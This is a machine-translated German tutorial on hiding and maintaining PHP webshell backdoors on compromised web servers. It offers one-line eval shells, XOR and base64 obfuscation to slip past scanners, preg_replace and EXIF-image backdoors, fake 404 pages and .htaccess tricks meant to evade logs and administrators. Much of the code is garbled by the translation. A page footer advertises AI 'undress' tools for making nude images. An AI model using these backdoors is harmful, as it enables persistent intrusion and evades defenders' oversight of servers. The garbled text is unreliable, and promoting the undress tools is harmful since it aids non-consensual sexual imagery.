PHP-Hintertür-Versteck- und Wartungstechniken
Nach einem erfolgreichen Test möchten Sie die Berechtigungen normalerweise länger behalten. Die Arbeit, die mit dem Verlassen von Hintertüren verbunden ist, umfasst unter anderem Datenbankberechtigungen, WEB-Berechtigungen und Systembenutzer usw. Dieser Artikel wird einige der Ideen bekannt machen, die in den Hintertüren von Volkswagen verborgen sind.
AD:
0×00 Vorwort
Nach einem erfolgreichen Test möchten Sie normalerweise die Privilegien länger behalten. Die Aufgabe, eine Hintertür zu hinterlassen, ist Es scheint Sehr wichtig. Zu den häufig eingesetzten Hintertüren gehören unter anderem Datenbankberechtigungen, WEB-Berechtigungen, Systembenutzerberechtigungen usw. In diesem Artikel werden einige der in öffentlichen Hintertüren versteckten Ideen bekannt gemacht
Nehmen Sie PHP-WEBBACKDOOR als Beispiel, um andere zu inspirieren
Eine häufigste Ein-Satz-Hintertür könnte so geschrieben werden
- eval($ _POST['cmd']);?>
oder dieses
- $_POST['cmd']);?>
Das ist natürlich nur in der aufgerufenen Funktion anders Informationen zu den von PHP deaktivierten Funktionen finden Sie unter „Suche in php.ini: deaktivieren_funktionen“.
Aber es gibt viele Möglichkeiten für Betrieb und Wartung, unsere Shell intuitiv zu finden, wie zum Beispiel
◆Ausnahme gefunden durch Dateiname/Änderungszeit/-größe, Dateisicherungsvergleich
◆Entdecken Sie die Hintertür durch das WEBSHELL-Hintertür-Scan-Skript, wie Scanbackdoor.php/Pecker/shelldetect.php und verschiedene Scanner usw.
◆Entdecken Sie die Hintertür über das Access.log-Zugriffsprotokoll
◆ Oder unser Testsatz wird von WAF blockiert und ein Warnprotokoll wird gesendet usw.
Im Hinblick auf Gängige Erkennungsmethoden, die folgenden sieben gängigen Methoden werden zusammengefasst, um die Shell zu verbergen
0×01 Evasion
Schauen Sie sich die verschiedenen Scan-Backdoor-Codes an und Sie werden wissen, dass das Hinterlassen eines Schlüsselworts, das jeder kennt und Schreie sind in der Shell absolut nicht erlaubt
Gemeinsame Schlüsselwörter wie:
◆Systembefehlsausführung: system, passhru, shell_exec, exec, popen, proc_open
◆Codeausführung: eval, Assert, call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
◆Datei enthält: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
Ein Freund hat es in der Vergangenheit mit Bedacht verwendet $ _POST[0]($_POST[1]) um den Befehl auszuführen Leider ist es jetzt schwierig, der Erkennung von Scannern zu entgehen, aber alles ändert sich. und die Konstruktionsmethoden sind endlos
Tudouya-Klassenkamerad gab [eine Konstruktion zu FREEBUF-Tipps](http://www.freebuf.com/articles/web/33824.html)Verwenden Sie
- @$_; // $_ = 1
- $__=(" #"^"|"); // $__ = _
- $__.=(" ."^"~"); // _P
- $__.=("/"^ "`"); // _PO
- $__.=("|"^ "/"); // _POS
- $__.=("{"^"/" ); // _POST
- ${$__}[!$_](${$__ }[$_]); // $_POST[0] ($_POST[1]);
- ? >
Konstruktionsgenerierung, natürlich ist es in Ordnung, wenn es zu intuitiv ist. Schreiben Sie so
- $_ ;$ __=("#"^"|").(". "^"~").("/"^"`"). ("|"^"/").("{"^ "/");@${$__}[!$_]( ${$__}[$_]);?>
Geben Sie dann einen gewöhnlichen Code ein, um ihn zu verschleiern, und ein einfaches „Anti-Kill“-Shell-Beispiel erscheint
Es wird korrekt ausgeführt und umgeht gewöhnliche Scanner. Sie können sich darauf verlassen, eine neue temporäre Shell zu schreiben
0×02 Features
Es ist auch eine interessante Möglichkeit, Syntaxfunktionen zum Ausführen von Befehlen zu verwenden. Verwenden Sie PHP, um Variablen zu verarbeiten. Es analysiert, ob die Daten in doppelten Anführungszeichen enthalten (und analysiert deren Werte). >zB.:
${@- eval(phpinfo()) }
- {} kann den Variableninhalt in doppelten Anführungszeichen analysieren, @ Behalten Sie den Fehler bei und fahren Sie mit der Ausführung fort
Dann können Sie mit dem Aufbau einer versteckten Hintertür beginnen, aber hier möchte sich die Struktur auf die durch die Funktion verursachte Befehlsausführung verlassen. Ja, es ist preg_replace
"//e",- function funfunc($str){}
- echo preg_replace("/
(. ?) /ies", 'funfunc("1")', $_POST["cmd"]); ?>
- funfunc(
- "{${phpinfo()}} " )
- "$arr="".$_GET['cmd']."";");?>
- if( @isset($_GET[content])) {
- 'w'); 🎜> file_put_contents('README',"
- @file_put_contents('README',$_GET[content],FILE_APPEND);
- fclose($fp) ; require
- 'README';}
- ?> Die Probleme. Die erforderliche Shell kann nach Bedarf generiert und dann eingebunden werden. Da Funktionen wie file_put_contents zu empfindlich sind, kann sie durch Scannen leicht gefunden werden.
- erstellt eine Shell durch Codierungsgenerierung, die mit Zugriff generiert wird

'cgx1z2lux20ucghw'), w),
Base64_Decode ('Pd9wahagqgfzc2vydcgkx1bpu1rbj2ntzcddkts/pg =='); >?>
- kann einigen Scannern entgehen, aber dieser Modus ist auch auffälliger und die neu generierten Dateien müssen einfach ausgeblendet werden, um einer Erkennung zu entgehen.Natürlich neue Konzepte wie Heuristiken werden nicht berücksichtigtWenn diese Methode die Anforderungen nicht erfüllen kann, kehren clevere Angreifer zurück$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif[ 'Model'],
- '');?> ;
- Referenz: a Die im EXIF von JPG-Bildern versteckte Hintertür Dieses Mal müssen Sie nicht mehr einfach /b kopieren, um das Image-Pferd zu generieren. Es ist auch möglich, das spezifische Flag der preg_replace-Ausführungsdatei auszuleihen Aufruf der undefinierten Funktion exif_read_data()Sie müssen php.ini ändern, extension=php_exif.dllÄndern Sie die Ladereihenfolge in nach extension=php_mbstring.dll Es ist ersichtlich, dass diese Bild-Hintertür auf dem e-Parameter preg_replace basiert, auf der Variablenanalyse und -ausführung von PHP basiert und schließlich die Dateiidentifikation verwendet, um eine vollständige Shell-Assembly zu konvertieren ist eine kleine Erinnerung für diejenigen, die mit den versteckten Hintertüren noch nicht vertraut sind. Solange es Einschlusspunkte gibt, ist die Form der Include-Datei natürlich unterschiedlich, einschließlich error_log (obwohl Sie vielleicht darüber nachdenken sollten, sie zu schließen). it), nur unerwartet... 0×04 Hidden
Um zu verhindern, dass Besucher die Existenz der Hintertür entdecken, werden clevere Sicherheitsforscher auch die Situation verwirren
- "-//IETF//DTD HTML 2.0//EN"> >
404 Nicht gefunden 🎜> -
Die angeforderte URL wurde auf diesem Server nicht gefunden.
> 🎜> @preg_replace( - "/[checksql]/e", $_POST[
- 'cmd'], "saft" 🎜>
- Aber Sie können sich nicht vor Besuchern verstecken und Sie können es nicht vor der Protokollanalyse verbergen. Um es in einer großen Anzahl von Protokollen besser zu verbergen, wurde das folgende Skript erstellt >
- header ( 'HTTP/1.1 404'); 'cGx1Z2luX20ucGhw'),w),
- base64_decode( 'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/ S =='));
- ob_end_clean(); Der Zugriff ist ein echter 404, ja, das Gleiche gilt auch im Protokoll
- Wer das Weevely-Tool verwendet hat, sollte wissen, dass die von ihm generierte Anti-Kill-Shell so aussieht
- $kthe= "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"; place("w"," ","stwrw_wrwepwlwawcwe");
$zrmt=
"JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; ftdf("f",
"bfafsfef4_fdfefcodfe" ); 🎜>
- >"lclrlaltel_functlilon"); (
- $ftdf( "gi",
- "", $zrmt.$kthe.$wmmi.$penh) )); $rdwm();
- Nach der Verbindung im Terminal sieht es so aus
- Ps: Ich habe es vergessen Ändern Sie den Terminalcode im Screenshot:(Der Weg, das Töten zu vermeiden Der Prozess der Generierung zufälliger Namensvariablen in einem festen Bereich und der anschließenden Verwendung von str_replace zum Kombinieren von base64_decode und Ausführen des Befehls Von Dies ist natürlich eine häufigere Verschleierung auf Codeebene, um Scanner zu vermeidenAudiovisuelle Methoden: ◆Ändern Sie die Dateizeit ◆Benennen Sie sie um und integrieren Sie sie in den Ordner, in dem es sich nach dem Hochladen befindet, sodass Benutzer die Dateianomalie nicht visuell erkennen können
- ◆Verbergen Sie die Dateigröße (zumindest sieht die Größe wie ein normales Skript aus)◆Wählen Sie das Ausblenden Pfad und besuchen Sie ihn so wenig wie möglich ◆Merformed-Verzeichnis
- Das Space-Verzeichnis ist relativ leicht zu finden
- 0×06 ParsingVerwenden Sie .htaccess, um eine Parsing-Hintertür hinzuzufügenZum Beispiel:AddType application/x- httpd-php .jpg
- Das Obige dient als Beispiel0×07 Verschiedenes
Um die oben genannten Methoden zusammenzufassen, handelt es sich bei den meisten um nichts anderes als einen Prozess zur Konstruktion von Schwachstellen. Der Code zur Konstruktion der Schwachstelle kann so seltsam sein, wie die Hintertür nur sein kann. Sie können etwas Feines und Anmutiges schreiben oder selbst erstellen Es ist einfach und grob, aber die anwendbaren Situationen sind unterschiedlich. Wenn Sie Ideen gut integrieren können, ist es nicht schwierig, Ihre eigene versteckte Hülle zu konstruieren. Wenn Sie interessante Ideen haben, können Sie dies gerne tun Teilen Sie Ihre Gedanken mit
Das Obige stellt die PHP-Hintertür-Versteck- und Wartungstechniken vor, einschließlich der relevanten Inhalte. Ich hoffe, dass es für Freunde hilfreich ist, die sich für PHP-Tutorials interessieren.

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen

In diesem Kapitel werden wir die Umgebungsvariablen, die allgemeine Konfiguration, die Datenbankkonfiguration und die E-Mail-Konfiguration in CakePHP verstehen.

PHP 8.4 bringt mehrere neue Funktionen, Sicherheitsverbesserungen und Leistungsverbesserungen mit einer beträchtlichen Menge an veralteten und entfernten Funktionen. In dieser Anleitung wird erklärt, wie Sie PHP 8.4 installieren oder auf PHP 8.4 auf Ubuntu, Debian oder deren Derivaten aktualisieren. Obwohl es möglich ist, PHP aus dem Quellcode zu kompilieren, ist die Installation aus einem APT-Repository wie unten erläutert oft schneller und sicherer, da diese Repositorys in Zukunft die neuesten Fehlerbehebungen und Sicherheitsupdates bereitstellen.

Um in cakephp4 mit Datum und Uhrzeit zu arbeiten, verwenden wir die verfügbare FrozenTime-Klasse.

Um am Datei-Upload zu arbeiten, verwenden wir den Formular-Helfer. Hier ist ein Beispiel für den Datei-Upload.

In diesem Kapitel lernen wir die folgenden Themen im Zusammenhang mit dem Routing kennen.

CakePHP ist ein Open-Source-Framework für PHP. Es soll die Entwicklung, Bereitstellung und Wartung von Anwendungen erheblich vereinfachen. CakePHP basiert auf einer MVC-ähnlichen Architektur, die sowohl leistungsstark als auch leicht zu verstehen ist. Modelle, Ansichten und Controller gu

Visual Studio Code, auch bekannt als VS Code, ist ein kostenloser Quellcode-Editor – oder eine integrierte Entwicklungsumgebung (IDE) –, die für alle gängigen Betriebssysteme verfügbar ist. Mit einer großen Sammlung von Erweiterungen für viele Programmiersprachen kann VS Code c

Der Validator kann durch Hinzufügen der folgenden zwei Zeilen im Controller erstellt werden.
